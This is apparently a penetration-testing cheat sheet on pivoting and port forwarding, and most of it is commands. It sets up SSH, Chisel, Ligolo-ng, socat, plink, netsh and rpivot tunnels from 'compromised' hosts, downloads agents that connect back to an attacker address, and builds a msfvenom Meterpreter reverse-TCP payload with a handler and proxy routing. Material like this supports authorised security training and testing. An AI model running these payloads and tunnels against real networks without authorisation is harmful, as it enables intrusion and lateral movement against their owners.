06Tools
Pivoting / Forwarding
00 Basic
bash2 lines
## ------------------| Check arp tablearp -an- Port Forwarding to other machine to Kali VM’s VPN
bash30 lines
## ------------------| Method I (SSH Reverse Tunnel)### Machine-A (192.168.1.130) – Source Machine### Machine-B (192.168.10.3) – Relay Machine (Inside VM with VPN 10.10.xx.xxx)### If you want to forward HTTP (port 80) traffic from Machine-A to Machine-B's VPN, use the following steps:### Step 1: Establish an SSH Reverse Tunnel from Machine-A to Machine-B### Run the following command on Machine-A:ssh -R 8080:10.10.11.123:80 Machine-B### Step 2: Redirect Traffic on Machine-B to Port 8080### Once SSH is established, run the following command on Machine-B:sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-port 8080
## ------------------| Method III (iptables & NAT) - Requires Root Access on Both Machines### Step 1: Enable IP Forwarding on Machine-B### Run the following commands on Machine-B:echo 1 | sudo tee /proc/sys/net/ipv4/ip_forwardsudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.10.11.123:80sudo iptables -A FORWARD -p tcp --dport 80 -j ACCEPT### Step 2: Route Machine-A’s Traffic Through Machine-B### Run the following command on Machine-A:sudo ip route add 10.10.11.123 via 192.168.10.3
## ------------------| Method II (SOCKS Proxy)### Using SOCKS Proxy for Full Traffic Redirection### Step 1: Start a SOCKS Proxy on Machine-B### Run the following command on Machine-B:ssh -D 1080 Machine-A### Step 2: Configure Machine-A to Use the Proxy### Run the following commands on Machine-A:export http_proxy="socks5h://127.0.0.1:1080"export https_proxy="socks5h://127.0.0.1:1080"01 Port Forwarding
01.0 Ligolo-ng
bash20 lines
## ------------------| Agent [target/victim computer]## Windowswget -q --show-progress $(wget -qO- https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest | grep "browser_download_url" | grep "windows_amd64.zip" | grep agent | awk -F '"' '{print $4}') -O /tmp/agent-windows.zipunzip -j /tmp/agent-windows.zip -d $PWD agent.exe.\agent.exe -connect <LHOST>:11601 -ignore-cert## Linuxwget -q --show-progress $(wget -qO- https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest | grep "browser_download_url" | grep "linux_amd64.tar.gz" | grep agent | awk -F '"' '{print $4}') -O /tmp/agent-linux.tar.gztar -xvf /tmp/agent-linux.tar.gz -C $PWD agent./agent -connect <LHOST>:11601 -ignore-cert
## ------------------| Server [My Computer]sudo ip tuntap add user $USER mode tun ligolosudo ip link set ligolo up./proxy -selfcertsessionifconfigsudo ip route add <IPRange>/24 dev ligolo ## Ex: 172.17.0.0/24start## Scan live hostsfping -a -g 172.17.0.0/2401.1 SSH Port Forward
bash34 lines
## -N Do not execute a remote command. This is useful for just forwarding ports.~C # do it as very first command
## ------------------| Local Port Forward## Local Host <--> SSH Server <--> Remote Hostssh -L <host_port>:<IP>:<PORT> <USER>@<sshserverip>autossh -L <host_port>:<IP>:<PORT> <USER>@<sshserverip>## ex: ssh -L 3306:127.0.0.1:3306 [email protected]
## 3306 is victim's machine port## 1337 is our machine portssh> -L 1337:127.0.0.1:3306ssh -L 1337:127.0.0.1:3306 <USER>@<machine_to_pivot>
## ------------------| Remote Port Forward## Remote Host <--> SSH Server <--> Local Hostssh -R <PORT>:<IP>:<host_port> <USER>@<sshserverip>
## 3306 is victim's machine port## 1337 is our machine portssh -R 1337:127.0.0.1:3306 <USER>@<machine_to_pivot>
## ------------------| Dynamic Port Forward (Use of proxychain)ssh> -D 1080socks5 127.0.0.1 1080
## Config proxychainsudo vi /etc/proxychains.confsocks5 127.0.0.1 1080## 1337 is our machine portssh -D 127.0.0.1:1080 <USER>@<machine_to_pivot>ssh -D 127.0.0.1:1080 -f -N <USER>@<machine_to_pivot>## Launch nmapproxychains nmap -sT 172.16.1.0/2401.2 Socat Multipurpose relay
bash6 lines
## ------------------| Normalsocat TCP-LISTEN:4444,fork TCP:0.0.0.0:631socat TCP-LISTEN:4444,fork,bind=10.10.14.26 TCP:127.0.0.1:3306
## ------------------| Send smb traffic from kali VM to windows VMsudo socat TCP-LISTEN:445,fork,reuseaddr TCP:<WINDOWS_VM_IP>:44501.3 Using Chisel
bash14 lines
## ------------------| Normal## Server side./chisel server --reverse --port 1234## Client side./chisel client 10.10.14.26:1234 R:3000:127.0.0.1:3000 R:3001:127.0.0.1:3001
## ------------------| SOCKS5 (With Proxychains)## Server sidechisel server --reverse --port 1234## Client side./chisel client 10.14.14.7:1234 R:0.0.0.0:1080:socks## Edit /etc/proxychains.confsocks5 127.0.0.1 1080## Use nmap with proxychains01.4 Using sshuttle
bash8 lines
## ------------------| For all routes
## ------------------| For specific route01.5 Using ncat tunnel
bash10 lines
## ------------------| Set ncat for target machinencat -vv --listen 1337 --proxy-type http
## ------------------| Edit on the attacker machine (10.10.110.100 is the IP of my ssh machine)echo "http\t 10.10.110.100 \t1337" >> /etc/proxychains.conf# To verifytail -2 /etc/proxychains.conf
## ------------------| Then use proxychainsproxychains nmap -sT 172.16.1.0/2401.6 Using httptunnel
bash5 lines
## ------------------| On Serverhts --forward-port localhost:3306 1337
## ------------------| On Clienthtc --forward-port 3306 <compromised_ip>:133701.7 Using Plink.exe
bash5 lines
cp /usr/share/windows-resources/binaries/plink.exe .
.\plink.exe root@<LHOST> -R 445:127.0.0.1:455
cmd.exe /c echo y | plink.exe -ssh -l <USER> -pw <PASS> -R <LHOST>:1337:127.0.01:3306 <LHOST>01.8 Using netsh.exe
bash6 lines
## 3306 is victim's machine port## 1337 is compromised machine portnetsh interface portproxy add v4tov4 listenport=1337 listenaddress=<compromised_ip> connectport=3306 connectaddress=<IP>
## Add firewall rulenetsh advfirewall firewall add rule name="forward_port" protocol=TCP dir=in localip=<compromised_ip> localport=4545 action=allow01.9 Using rinetd
bash9 lines
## ------------------| Forword my google.com traffic to resticted devicesudo vi /etc/rinetd.conf### Jump to line number 19 and add following line0.0.0.0 80 <GoogleIPAddress> 80### Restart servicesudo service rinetd restart
### Success ? (on resticted machine)nc -znv <LHOST> 8001.10 Using rpivot.exe [Best for Windows XP]
bash12 lines
## ------------------| Start server on attacker machinegit clone https://github.com/klsecservices/rpivot.git && cd rpivotpython2 server.py --server-ip 0.0.0.0 --server-port 8989
## ------------------| Start rpivot on compromised machinewget https://github.com/klsecservices/rpivot/releases/download/v1.0/client.exe.\client.exe --server-ip <IP> --server-port 8989
## ------------------| Proxy/etc/proxychains.confsocks4 127.0.0.1 1080proxychains nmap -sT -p 80 <IP>01.11 Using Metasploit with Meterpreter
bash26 lines
## ------------------| Create payloadmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=7799 -f elf -o msf.bin
## ------------------| Launch MSFConsolemsfconsoleuse exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset lport 7799set lhost 10.10.14.13run -jsessions -i
## ------------------| Methord 0x01route add <Compromised_IP_Address/24> <meterpreter_session_id>## --> ex : route add 172.17.0.0/24 1use auxiliary/server/socks_proxyset SRVPORT 1080 # edit this port on /etc/proxychains.conf (socks5)run
## ------------------| Methord 0x02## !! You must be on " meterpreter > " shellportfwd add -l 8003 -p 3306 -r 172.17.0.2 ## -l (8003) is listening us ## -p (3306) this port running on compromised machine ## -r (172.17.0.1) compromised ip address ## then you can use 127.0.0.1:8003 from your end